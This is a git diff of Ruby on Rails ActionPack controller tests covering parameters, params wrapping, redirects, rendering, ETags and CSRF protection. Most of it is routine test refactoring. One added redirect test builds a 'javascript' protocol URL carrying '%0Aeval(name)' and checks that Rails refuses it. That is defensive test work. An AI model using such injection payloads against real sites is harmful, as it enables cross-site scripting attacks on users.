+    assert @params.to_h.is_a? Hash
+    assert_not @params.to_h.is_a? ActionController::Parameters
+    assert_equal @params.to_hash, @params.to_h
+  end
+
+  test "to_h returns converted hash when .permit_all_parameters is set" do
+    begin
+      ActionController::Parameters.permit_all_parameters = true
+      params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+      assert params.to_h.is_a? Hash
+      assert_not @params.to_h.is_a? ActionController::Parameters
+      assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h)
+    ensure
+      ActionController::Parameters.permit_all_parameters = false
+    end
+  end
+
+  test "to_h returns always permitted parameter on unpermitted params" do
+    params = ActionController::Parameters.new(
+      controller: "users",
+      action: "create",
+      user: {
+        name: "Sengoku Nadeko"
+      }
+    )
+
+    assert_equal({ "controller" => "users", "action" => "create" }, params.to_h)
+  end
+
+  test "to_unsafe_h returns unfiltered params" do
+    assert @params.to_h.is_a? Hash
+    assert_not @params.to_h.is_a? ActionController::Parameters
+    assert_equal @params.to_hash, @params.to_unsafe_h
+  end
 end
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
deleted file mode 100644
index bdaba8d2d8..0000000000
--- a/actionpack/test/controller/parameters/parameters_require_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/metal/strong_parameters'
-
-class ParametersRequireTest < ActiveSupport::TestCase
-  test "required parameters must be present not merely not nil" do
-    assert_raises(ActionController::ParameterMissing) do
-      ActionController::Parameters.new(person: {}).require(:person)
-    end
-  end
-end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index d87e2b85b0..8bf016d060 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -40,7 +40,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_filtered_parameters
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_equal @request.filtered_parameters, { 'controller' => 'params_wrapper_test/users', 'action' => 'parse', 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' } }
     end
   end
@@ -48,7 +48,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_derived_name_from_controller
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({ 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -58,7 +58,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters :person
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({ 'username' => 'sikachu', 'person' => { 'username' => 'sikachu' }})
     end
   end
@@ -68,7 +68,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters Person
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({ 'username' => 'sikachu', 'person' => { 'username' => 'sikachu' }})
     end
   end
@@ -78,7 +78,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters :include => :username
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -88,7 +88,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters :exclude => :title
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -98,7 +98,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters :person, :include => :username
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
     end
   end
@@ -106,7 +106,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_not_enabled_format
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/xml'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer' })
     end
   end
@@ -115,7 +115,7 @@ class ParamsWrapperTest < ActionController::TestCase
     with_default_wrapper_options do
       UsersController.wrap_parameters false
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer' })
     end
   end
@@ -125,7 +125,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters :format => :xml
 
       @request.env['CONTENT_TYPE'] = 'application/xml'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
     end
   end
@@ -133,7 +133,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_not_wrap_reserved_parameters
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'authenticity_token' => 'pwned', '_method' => 'put', 'utf8' => '&#9731;', 'username' => 'sikachu' }
+      post :parse, params: { 'authenticity_token' => 'pwned', '_method' => 'put', 'utf8' => '&#9731;', 'username' => 'sikachu' }
       assert_parameters({ 'authenticity_token' => 'pwned', '_method' => 'put', 'utf8' => '&#9731;', 'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -141,7 +141,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_no_double_wrap_if_key_exists
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'user' => { 'username' => 'sikachu' }}
+      post :parse, params: { 'user' => { 'username' => 'sikachu' }}
       assert_parameters({ 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -149,7 +149,7 @@ class ParamsWrapperTest < ActionController::TestCase
   def test_nested_params
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'person' => { 'username' => 'sikachu' }}
+      post :parse, params: { 'person' => { 'username' => 'sikachu' }}
       assert_parameters({ 'person' => { 'username' => 'sikachu' }, 'user' => {'person' => { 'username' => 'sikachu' }}})
     end
   end
@@ -160,7 +160,7 @@ class ParamsWrapperTest < ActionController::TestCase
 
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -173,7 +173,7 @@ class ParamsWrapperTest < ActionController::TestCase
       UsersController.wrap_parameters Person
 
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'person' => { 'username' => 'sikachu' }})
     end
   end
@@ -184,10 +184,30 @@ class ParamsWrapperTest < ActionController::TestCase
 
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+      post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
       assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
     end
   end
+
+  def test_preserves_query_string_params
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      get :parse, params: { 'user' => { 'username' => 'nixon' } }
+      assert_parameters(
+        {'user' => { 'username' => 'nixon' } }
+      )
+    end
+  end
+
+  def test_empty_parameter_set
+    with_default_wrapper_options do
+      @request.env['CONTENT_TYPE'] = 'application/json'
+      post :parse, params: {}
+      assert_parameters(
+        {'user' => { } }
+      )
+    end
+  end
 end
 
 class NamespacedParamsWrapperTest < ActionController::TestCase
@@ -229,7 +249,7 @@ class NamespacedParamsWrapperTest < ActionController::TestCase
   def test_derived_name_from_controller
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({'username' => 'sikachu', 'user' => { 'username' => 'sikachu' }})
     end
   end
@@ -239,7 +259,7 @@ class NamespacedParamsWrapperTest < ActionController::TestCase
     begin
       with_default_wrapper_options do
         @request.env['CONTENT_TYPE'] = 'application/json'
-        post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+        post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
         assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu' }})
       end
     ensure
@@ -252,7 +272,7 @@ class NamespacedParamsWrapperTest < ActionController::TestCase
     begin
       with_default_wrapper_options do
         @request.env['CONTENT_TYPE'] = 'application/json'
-        post :parse, { 'username' => 'sikachu', 'title' => 'Developer' }
+        post :parse, params: { 'username' => 'sikachu', 'title' => 'Developer' }
         assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'title' => 'Developer' }})
       end
     ensure
@@ -279,7 +299,7 @@ class AnonymousControllerParamsWrapperTest < ActionController::TestCase
   def test_does_not_implicitly_wrap_params
     with_default_wrapper_options do
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({ 'username' => 'sikachu' })
     end
   end
@@ -288,7 +308,7 @@ class AnonymousControllerParamsWrapperTest < ActionController::TestCase
     with_default_wrapper_options do
       @controller.class.wrap_parameters(:name => "guest")
       @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu' }
+      post :parse, params: { 'username' => 'sikachu' }
       assert_parameters({ 'username' => 'sikachu', 'guest' => { 'username' => 'sikachu' }})
     end
   end
@@ -317,14 +337,26 @@ class IrregularInflectionParamsWrapperTest < ActionController::TestCase
   tests ParamswrappernewsController
 
   def test_uses_model_attribute_names_with_irregular_inflection
-    ActiveSupport::Inflector.inflections do |inflect|
-      inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
-    end
+    with_dup do
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.irregular 'paramswrappernews_item', 'paramswrappernews'
+      end
 
-    with_default_wrapper_options do
-      @request.env['CONTENT_TYPE'] = 'application/json'
-      post :parse, { 'username' => 'sikachu', 'test_attr' => 'test_value' }
-      assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+      with_default_wrapper_options do
+        @request.env['CONTENT_TYPE'] = 'application/json'
+        post :parse, params: { 'username' => 'sikachu', 'test_attr' => 'test_value' }
+        assert_parameters({ 'username' => 'sikachu', 'test_attr' => 'test_value', 'paramswrappernews_item' => { 'test_attr' => 'test_value' }})
+      end
     end
   end
+
+  private
+
+  def with_dup
+    original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
+    yield
+  ensure
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)
+  end
 end
diff --git a/actionpack/test/controller/permitted_params_test.rb b/actionpack/test/controller/permitted_params_test.rb
index f46249d712..7136fafae5 100644
--- a/actionpack/test/controller/permitted_params_test.rb
+++ b/actionpack/test/controller/permitted_params_test.rb
@@ -14,12 +14,12 @@ class ActionControllerPermittedParamsTest < ActionController::TestCase
   tests PeopleController
 
   test "parameters are forbidden" do
-    post :create, { person: { name: "Mjallo!" } }
+    post :create, params: { person: { name: "Mjallo!" } }
     assert_equal "forbidden", response.body
   end
 
   test "parameters can be permitted and are then not forbidden" do
-    post :create_with_permit, { person: { name: "Mjallo!" } }
+    post :create_with_permit, params: { person: { name: "Mjallo!" } }
     assert_equal "permitted", response.body
   end
 end
diff --git a/actionpack/test/controller/redirect_test.rb b/actionpack/test/controller/redirect_test.rb
index 4331333b98..103ca9c776 100644
--- a/actionpack/test/controller/redirect_test.rb
+++ b/actionpack/test/controller/redirect_test.rb
@@ -90,6 +90,10 @@ class RedirectController < ActionController::Base
     redirect_to nil
   end
 
+  def redirect_to_params
+    redirect_to ActionController::Parameters.new(status: 200, protocol: 'javascript', f: '%0Aeval(name)')
+  end
+
   def redirect_to_with_block
     redirect_to proc { "http://www.rubyonrails.org/" }
   end
@@ -281,6 +285,12 @@ class RedirectTest < ActionController::TestCase
     end
   end
 
+  def test_redirect_to_params
+    assert_raise(ActionController::ActionControllerError) do
+      get :redirect_to_params
+    end
+  end
+
   def test_redirect_to_with_block
     get :redirect_to_with_block
     assert_response :redirect
diff --git a/actionpack/test/controller/render_js_test.rb b/actionpack/test/controller/render_js_test.rb
index f070109b27..6b661de064 100644
--- a/actionpack/test/controller/render_js_test.rb
+++ b/actionpack/test/controller/render_js_test.rb
@@ -22,13 +22,13 @@ class RenderJSTest < ActionController::TestCase
   tests TestController
 
   def test_render_vanilla_js
-    get :render_vanilla_js_hello
+    get :render_vanilla_js_hello, xhr: true
     assert_equal "alert('hello')", @response.body
     assert_equal "text/javascript", @response.content_type
   end
 
   def test_should_render_js_partial
-    xhr :get, :show_partial, :format => 'js'
+    get :show_partial, format: 'js', xhr: true
     assert_equal 'partial js', @response.body
   end
 end
diff --git a/actionpack/test/controller/render_json_test.rb b/actionpack/test/controller/render_json_test.rb
index 7c0a6bd67e..b1ad16bc55 100644
--- a/actionpack/test/controller/render_json_test.rb
+++ b/actionpack/test/controller/render_json_test.rb
@@ -100,13 +100,13 @@ class RenderJsonTest < ActionController::TestCase
   end
 
   def test_render_json_with_callback
-    get :render_json_hello_world_with_callback
-    assert_equal 'alert({"hello":"world"})', @response.body
+    get :render_json_hello_world_with_callback, xhr: true
+    assert_equal '/**/alert({"hello":"world"})', @response.body
     assert_equal 'text/javascript', @response.content_type
   end
 
   def test_render_json_with_custom_content_type
-    get :render_json_with_custom_content_type
+    get :render_json_with_custom_content_type, xhr: true
     assert_equal '{"hello":"world"}', @response.body
     assert_equal 'text/javascript', @response.content_type
   end
diff --git a/actionpack/test/controller/render_other_test.rb b/actionpack/test/controller/render_other_test.rb
index b5e74e373d..af50e11261 100644
--- a/actionpack/test/controller/render_other_test.rb
+++ b/actionpack/test/controller/render_other_test.rb
@@ -1,9 +1,5 @@
 require 'abstract_unit'
 
-ActionController.add_renderer :simon do |says, options|
-  self.content_type  = Mime::TEXT
-  self.response_body = "Simon says: #{says}"
-end
 
 class RenderOtherTest < ActionController::TestCase
   class TestController < ActionController::Base
@@ -15,7 +11,14 @@ class RenderOtherTest < ActionController::TestCase
   tests TestController
 
   def test_using_custom_render_option
+    ActionController.add_renderer :simon do |says, options|
+      self.content_type  = Mime::TEXT
+      self.response_body = "Simon says: #{says}"
+    end
+
     get :render_simon_says
     assert_equal "Simon says: foo", @response.body
+  ensure
+    ActionController.remove_renderer :simon
   end
 end
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index f41287381a..8d6b62f2bf 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -10,11 +10,17 @@ class TestControllerWithExtraEtags < ActionController::Base
   etag { nil  }
 
   def fresh
-    render text: "stale" if stale?(etag: '123')
+    render text: "stale" if stale?(etag: '123', template: false)
   end
 
   def array
-    render text: "stale" if stale?(etag: %w(1 2 3))
+    render text: "stale" if stale?(etag: %w(1 2 3), template: false)
+  end
+
+  def with_template
+    if stale? template: 'test/hello_world'
+      render text: 'stale'
+    end
   end
 end
 
@@ -52,24 +58,24 @@ class TestController < ActionController::Base
     end
   end
 
-  def conditional_hello_with_public_header
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
+  class Collection
+    def initialize(records)
+      @records = records
     end
-  end
 
-  def conditional_hello_with_public_header_with_record
-    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
-
-    if stale?(record, :public => true)
-      render :action => 'hello_world'
+    def maximum(attribute)
+      @records.max_by(&attribute).public_send(attribute)
     end
   end
 
-  def conditional_hello_with_public_header_and_expires_at
-    expires_in 1.minute
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
+  def conditional_hello_with_collection_of_records
+    ts = Time.now.utc.beginning_of_day
+
+    record = Struct.new(:updated_at, :cache_key).new(ts, "foo/123")
+    old_record = Struct.new(:updated_at, :cache_key).new(ts - 1.day, "bar/123")
+
+    if stale?(Collection.new([record, old_record]))
+      render action: 'hello_world'
     end
   end
 
@@ -123,50 +129,6 @@ class TestController < ActionController::Base
     fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
   end
 
-  def heading
-    head :ok
-  end
-
-  # :ported:
-  def double_render
-    render :text => "hello"
-    render :text => "world"
-  end
-
-  def double_redirect
-    redirect_to :action => "double_render"
-    redirect_to :action => "double_render"
-  end
-
-  def render_and_redirect
-    render :text => "hello"
-    redirect_to :action => "double_render"
-  end
-
-  def render_to_string_and_render
-    @stuff = render_to_string :text => "here is some cached stuff"
-    render :text => "Hi web users! #{@stuff}"
-  end
-
-  def render_to_string_with_inline_and_render
-    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
-    render :template => "test/hello_world"
-  end
-
-  def rendering_with_conflicting_local_vars
-    @name = "David"
-    render :action => "potential_conflicts"
-  end
-
-  def hello_world_from_rxml_using_action
-    render :action => "hello_world_from_rxml", :handlers => [:builder]
-  end
-
-  # :deprecated:
-  def hello_world_from_rxml_using_template
-    render :template => "test/hello_world_from_rxml", :handlers => [:builder]
-  end
-
   def head_created
     head :created
   end
@@ -211,6 +173,15 @@ class TestController < ActionController::Base
     head :forbidden, :x_custom_header => "something"
   end
 
+  def head_with_no_content
+    # Fill in the headers with dummy data to make
+    # sure they get removed during the testing
+    response.headers["Content-Type"] = "dummy"
+    response.headers["Content-Length"] = 42
+
+    head 204
+  end
+
   private
 
     def set_variable_for_layout
@@ -242,6 +213,8 @@ class MetalTestController < ActionController::Metal
   include AbstractController::Rendering
   include ActionView::Rendering
   include ActionController::Rendering
+  include ActionController::RackDelegation
+
 
   def accessing_logger_in_template
     render :inline =>  "<%= logger.class %>"
@@ -336,7 +309,6 @@ class LastModifiedRenderTest < ActionController::TestCase
     assert_equal @last_modified, @response.headers['Last-Modified']
   end
 
-
   def test_responds_with_last_modified_with_record
     get :conditional_hello_with_record
     assert_equal @last_modified, @response.headers['Last-Modified']
@@ -347,6 +319,7 @@ class LastModifiedRenderTest < ActionController::TestCase
     get :conditional_hello_with_record
     assert_equal 304, @response.status.to_i
     assert @response.body.blank?
+    assert_not_nil @response.etag
     assert_equal @last_modified, @response.headers['Last-Modified']
   end
 
@@ -365,6 +338,34 @@ class LastModifiedRenderTest < ActionController::TestCase
     assert_equal @last_modified, @response.headers['Last-Modified']
   end
 
+  def test_responds_with_last_modified_with_collection_of_records
+    get :conditional_hello_with_collection_of_records
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified_with_collection_of_records
+    @request.if_modified_since = @last_modified
+    get :conditional_hello_with_collection_of_records
+    assert_equal 304, @response.status.to_i
+    assert @response.body.blank?
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
+  def test_request_not_modified_but_etag_differs_with_collection_of_records
+    @request.if_modified_since = @last_modified
+    @request.if_none_match = "234"
+    get :conditional_hello_with_collection_of_records
+    assert_response :success
+  end
+
+  def test_request_modified_with_collection_of_records
+    @request.if_modified_since = 'Thu, 16 Jul 2008 00:00:00 GMT'
+    get :conditional_hello_with_collection_of_records
+    assert_equal 200, @response.status.to_i
+    assert @response.body.present?
+    assert_equal @last_modified, @response.headers['Last-Modified']
+  end
+
   def test_request_with_bang_gets_last_modified
     get :conditional_hello_with_bangs
     assert_equal @last_modified, @response.headers['Last-Modified']
@@ -387,10 +388,6 @@ end
 class EtagRenderTest < ActionController::TestCase
   tests TestControllerWithExtraEtags
 
-  def setup
-    super
-  end
-
   def test_multiple_etags
     @request.if_none_match = etag(["123", 'ab', :cde, [:f]])
     get :fresh
@@ -411,6 +408,32 @@ class EtagRenderTest < ActionController::TestCase
     assert_response :success
   end
 
+  def test_etag_reflects_template_digest
+    get :with_template
+    assert_response :ok
+    assert_not_nil etag = @response.etag
+
+    request.if_none_match = etag
+    get :with_template
+    assert_response :not_modified
+
+    # Modify the template digest
+    path = File.expand_path('../../fixtures/test/hello_world.erb', __FILE__)
+    old = File.read(path)
+
+    begin
+      File.write path, 'foo'
+      ActionView::Digestor.cache.clear
+
+      request.if_none_match = etag
+      get :with_template
+      assert_response :ok
+      assert_not_equal etag, @response.etag
+    ensure
+      File.write path, old
+    end
+  end
+
   def etag(record)
     Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(record)).inspect
   end
@@ -488,21 +511,21 @@ class HeadRenderTest < ActionController::TestCase
   end
 
   def test_head_with_symbolic_status
-    get :head_with_symbolic_status, :status => "ok"
+    get :head_with_symbolic_status, params: { status: "ok" }
     assert_equal 200, @response.status
     assert_response :ok
 
-    get :head_with_symbolic_status, :status => "not_found"
+    get :head_with_symbolic_status, params: { status: "not_found" }
     assert_equal 404, @response.status
     assert_response :not_found
 
-    get :head_with_symbolic_status, :status => "no_content"
+    get :head_with_symbolic_status, params: { status: "no_content" }
     assert_equal 204, @response.status
     assert !@response.headers.include?('Content-Length')
     assert_response :no_content
 
     Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
-      get :head_with_symbolic_status, :status => status.to_s
+      get :head_with_symbolic_status, params: { status: status.to_s }
       assert_equal code, @response.response_code
       assert_response status
     end
@@ -510,13 +533,21 @@ class HeadRenderTest < ActionController::TestCase
 
   def test_head_with_integer_status
     Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
-      get :head_with_integer_status, :status => code.to_s
+      get :head_with_integer_status, params: { status: code.to_s }
       assert_equal message, @response.message
     end
   end
 
+  def test_head_with_no_content
+    get :head_with_no_content
+
+    assert_equal 204, @response.status
+    assert_nil @response.headers["Content-Type"]
+    assert_nil @response.headers["Content-Length"]
+  end
+
   def test_head_with_string_status
-    get :head_with_string_status, :status => "404 Eat Dirt"
+    get :head_with_string_status, params: { status: "404 Eat Dirt" }
     assert_equal 404, @response.response_code
     assert_equal "Not Found", @response.message
     assert_response :not_found
@@ -529,4 +560,4 @@ class HeadRenderTest < ActionController::TestCase
     assert_equal "something", @response.headers["X-Custom-Header"]
     assert_response :forbidden
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/test/controller/render_xml_test.rb b/actionpack/test/controller/render_xml_test.rb
index 4f280c4bec..7a91577b17 100644
--- a/actionpack/test/controller/render_xml_test.rb
+++ b/actionpack/test/controller/render_xml_test.rb
@@ -81,7 +81,7 @@ class RenderXmlTest < ActionController::TestCase
   end
 
   def test_should_render_formatted_xml_erb_template
-    get :formatted_xml_erb, :format => :xml
+    get :formatted_xml_erb, format: :xml
     assert_equal '<test>passed formatted xml erb</test>', @response.body
   end
 
@@ -91,7 +91,7 @@ class RenderXmlTest < ActionController::TestCase
   end
 
   def test_should_use_implicit_content_type
-    get :implicit_content_type, :format => 'atom'
+    get :implicit_content_type, format: 'atom'
     assert_equal Mime::ATOM, @response.content_type
   end
 end
diff --git a/actionpack/test/controller/renderer_test.rb b/actionpack/test/controller/renderer_test.rb
new file mode 100644
index 0000000000..b55a25430b
--- /dev/null
+++ b/actionpack/test/controller/renderer_test.rb
@@ -0,0 +1,103 @@
+require 'abstract_unit'
+
+class RendererTest < ActiveSupport::TestCase
+  test 'creating with a controller' do
+    controller = CommentsController
+    renderer   = ActionController::Renderer.for controller
+
+    assert_equal controller, renderer.controller
+  end
+
+  test 'creating from a controller' do
+    controller = AccountsController
+    renderer   = controller.renderer
+
+    assert_equal controller, renderer.controller
+  end
+
+  test 'rendering with a class renderer' do
+    renderer = ApplicationController.renderer
+    content  = renderer.render template: 'ruby_template'
+
+    assert_equal 'Hello from Ruby code', content
+  end
+
+  test 'rendering with an instance renderer' do
+    renderer = ApplicationController.renderer.new
+    content  = renderer.render file: 'test/hello_world'
+
+    assert_equal 'Hello world!', content
+  end
+
+  test 'rendering with a controller class' do
+    assert_equal 'Hello world!', ApplicationController.render('test/hello_world')
+  end
+
+  test 'rendering with locals' do
+    renderer = ApplicationController.renderer
+    content  = renderer.render template: 'test/render_file_with_locals',
+                               locals: { secret: 'bar' }
+
+    assert_equal "The secret is bar\n", content
+  end
+
+  test 'rendering with assigns' do
+    renderer = ApplicationController.renderer
+    content  = renderer.render template: 'test/render_file_with_ivar',
+                               assigns: { secret: 'foo' }
+
+    assert_equal "The secret is foo\n", content
+  end
+
+  test 'rendering with custom env' do
+    renderer = ApplicationController.renderer.new method: 'post'
+    content  = renderer.render inline: '<%= request.post? %>'
+
+    assert_equal 'true', content
+  end
+
+  test 'rendering with defaults' do
+    renderer = ApplicationController.renderer
+    renderer.defaults[:https] = true
+    content = renderer.render inline: '<%= request.ssl? %>'
+
+    assert_equal 'true', content
+  end
+
+  test 'same defaults from the same controller' do
+    renderer_defaults = ->(controller) { controller.renderer.defaults }
+
+    assert renderer_defaults[AccountsController].equal? renderer_defaults[AccountsController]
+    assert_not renderer_defaults[AccountsController].equal? renderer_defaults[CommentsController]
+  end
+
+  test 'rendering with different formats' do
+    html = 'Hello world!'
+    xml  = "<p>Hello world!</p>\n"
+
+    assert_equal html, render['respond_to/using_defaults']
+    assert_equal xml,  render['respond_to/using_defaults.xml.builder']
+    assert_equal xml,  render['respond_to/using_defaults', formats: :xml]
+  end
+
+  test 'rendering with helpers' do
+    assert_equal "<p>1\n<br />2</p>", render[inline: '<%= simple_format "1\n2" %>']
+  end
+  
+  test 'rendering from inherited renderer' do
+    inherited = Class.new ApplicationController.renderer do
+      defaults[:script_name] = 'script'
+      def render(options)
+        super options.merge(locals: { param: :value })
+      end
+    end
+
+    template = '<%= url_for controller: :foo, action: :bar, param: param %>'
+    assert_equal 'script/foo/bar?param=value', inherited.render(inline: template)
+  end
+
+  private
+    def render
+      @render ||= ApplicationController.renderer.method(:render)
+    end
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
index c272e785c2..88155bb404 100644
--- a/actionpack/test/controller/request_forgery_protection_test.rb
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -52,18 +52,36 @@ module RequestForgeryProtectionActions
     render :inline => "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
   end
 
+  def same_origin_js
+    render js: 'foo();'
+  end
+
+  def negotiate_same_origin
+    respond_to do |format|
+      format.js { same_origin_js }
+    end
+  end
+
+  def cross_origin_js
+    same_origin_js
+  end
+
+  def negotiate_cross_origin
+    negotiate_same_origin
+  end
+
   def rescue_action(e) raise e end
 end
 
 # sample controllers
 class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
   include RequestForgeryProtectionActions
-  protect_from_forgery :only => %w(index meta), :with => :reset_session
+  protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :reset_session
 end
 
 class RequestForgeryProtectionControllerUsingException < ActionController::Base
   include RequestForgeryProtectionActions
-  protect_from_forgery :only => %w(index meta), :with => :exception
+  protect_from_forgery :only => %w(index meta same_origin_js negotiate_same_origin), :with => :exception
 end
 
 class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
@@ -78,6 +96,36 @@ class RequestForgeryProtectionControllerUsingNullSession < ActionController::Bas
     cookies.encrypted[:foo] = 'bar'
     render :nothing => true
   end
+
+  def try_to_reset_session
+    reset_session
+    render :nothing => true
+  end
+end
+
+class PrependProtectForgeryBaseController < ActionController::Base
+  before_action :custom_action
+  attr_accessor :called_callbacks
+
+  def index
+    render inline: 'OK'
+  end
+
+  protected
+
+  def add_called_callback(name)
+    @called_callbacks ||= []
+    @called_callbacks << name
+  end
+
+
+  def custom_action
+    add_called_callback("custom_action")
+  end
+
+  def verify_authenticity_token
+    add_called_callback("verify_authenticity_token")
+  end
 end
 
 class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
@@ -102,27 +150,29 @@ end
 module RequestForgeryProtectionTests
   def setup
     @token      = "cf50faa3fe97702ca1ae"
-
-    SecureRandom.stubs(:base64).returns(@token)
+    @controller.stubs(:form_authenticity_token).returns(@token)
+    @controller.stubs(:valid_authenticity_token?).with{ |_, t| t == @token }.returns(true)
